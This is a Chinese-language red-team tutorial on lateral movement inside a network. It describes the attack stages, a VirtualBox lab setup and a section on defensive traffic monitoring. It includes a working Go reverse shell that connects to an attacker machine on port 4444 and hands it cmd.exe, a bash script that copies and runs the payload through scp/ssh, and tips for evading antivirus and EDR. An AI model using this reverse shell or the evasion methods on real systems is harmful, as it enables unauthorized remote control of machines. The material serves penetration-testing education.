0x01 攻击原理揭秘

内网渗透横向移动是高级攻击者在获取初始访问权限后,用以扩展其在网络中控制范围的关键步骤。此阶段的目标是从已妥协的系统移动到其他有价值的系统。攻击者通常利用凭据窃取、会话劫持、漏洞利用等多种技术,逐步渗透达到最终目标。

横向移动基本流程:

黑客示意图

  1. 信息收集:了解内网拓扑结构和潜在的可攻击点。
  2. 凭据收集:通过工具或漏洞获取管理员凭据。
  3. 利用漏洞:利用已知的系统漏洞进行渗透。
  4. 会话劫持:在已登录的会话中插入恶意代码。
  5. 权限提升:获取目标系统的更高权限。

在这一阶段,我会使用诸如Pass-the-Hash、Pass-the-Ticket、远程服务执行等经典技术来实现横向移动。接下来,我们将详细探讨这些技术的实施方式及其背后的原理。

内网环境搭建指南

要进行内网渗透的实战演练,需要一个合适的测试环境来模拟企业内网结构。这里我们使用VirtualBox和几台虚拟机(VM)来搭建一个简单的内网环境。

准备工作:

黑客示意图

  • 下载并安装VirtualBox
  • 创建以下虚拟机:
  • 域控制器(DC):Windows Server 2019,安装AD服务
  • 工作站1:Windows 10,加入域
  • 工作站2:Windows 10,不加入域
  • 攻击者机器:Kali Linux

网络配置:

  1. 内部网络(Internal Network):所有VM都连接在同一个内部网络中,以模拟公司内网。
  2. IP配置
  • 域控制器:192.168.56.100
  • 工作站1:192.168.56.101
  • 工作站2:192.168.56.102
  • 攻击者机器:动态分配

完成以上配置后,你将拥有一个基本的内网环境,可以在不影响真实网络的情况下进行渗透测试实验。

Payload构造的艺术

在内网渗透中,成功构造并部署有效的Payload至关重要。下面,我将展示如何使用Go语言编写一个简单的Payload,并通过Shell脚本在目标机器上执行。

Go语言Payload示例

<pre><code class="language-go">// 我们要写一个简单的反向Shell package main

import ( &quot;net&quot; &quot;os/exec&quot; )

func main() { // 连接攻击者机器 conn, err := net.Dial(&quot;tcp&quot;, &quot;192.168.56.103:4444&quot;) if err != nil { return } defer conn.Close()

// 运行Shell,注意这里的cmd是Windows的命令行 cmd := exec.Command(&quot;cmd&quot;) cmd.Stdout = conn cmd.Stdin = conn cmd.Stderr = conn cmd.Run() }</code></pre>

Shell脚本部署Payload

黑客示意图

为了将上述Payload部署到目标机上,我们可以利用如下Shell脚本:

黑客示意图

<pre><code class="language-bash">#!/bin/bash

传输并执行Go编译后的可执行文件

这里使用SCP,然后在目标上执行

scp reverseShell.exe [email protected]:/tmp/ ssh [email protected] &#039;/tmp/reverseShell.exe&#039;</code></pre>

注意:实际渗透中,我们需要对Payload进行混淆或加壳,以规避防病毒软件的检测。

绕过与免杀的对抗艺术

绕过EDR/AV检测技巧:

  • 混淆代码:通过改变代码结构(如变量名、函数名)来避免简单的签名检测。
  • 使用加壳工具:将Payload进行加壳处理,改变其文件特征。
  • 内存加载技术:直接在内存中执行Payload,避免落地文件被检测。
  • 协议伪装与流量加密:使用HTTPS或自定义协议来加密恶意流量,规避流量监控。

结合上述技术,我们可以有效提升Payload的隐蔽性,确保渗透过程不被中断。

网络流量监控与检测

在横向移动过程中,异常的网络流量通常是检测攻击活动的重要指标。安全团队可以通过以下手段来增强内网流量监控:

流量分析工具:

  • Wireshark:用于捕获并分析数据包,可以检测到异常连接。
  • Zeek(Bro):强大的网络监控工具,适合检测复杂攻击模式。
  • Sysmon:微软提供的系统监控工具,可以记录详细的系统事件。

检测策略:

  • 监控SMB流量:攻击者常用SMB协议进行横向移动,监控此类流量可以发现异常活动。
  • 检测异常登录:在短时间内多次失败的登录尝试或来自不寻常地点的成功登录。
  • 分析DNS请求:攻击者可能使用DNS隧道等技术进行数据泄露。

红队经验谈

在多年的红队攻防对抗中,我深刻体会到内网渗透横向移动的重要性。以下是几条经验之谈:

  1. 持久性:内网渗透是一个持续的过程,一旦进入内网,尽量保持持久的访问权限。
  2. 低调行事:尽量避免大流量的数据传输和显眼的系统修改,以免引起怀疑。
  3. 多样化工具:熟练掌握多种工具,以便在不同环境下都能顺利渗透。
  4. 不断学习:安全形势不断变化,持续学习新技术、新工具,保持技术优势。

通过实际案例和经验分享,希望你在内网渗透横向移动的道路上少走弯路,掌握真正的攻防技能。记住,本文仅供合法授权的安全测试使用,切勿用于非法目的。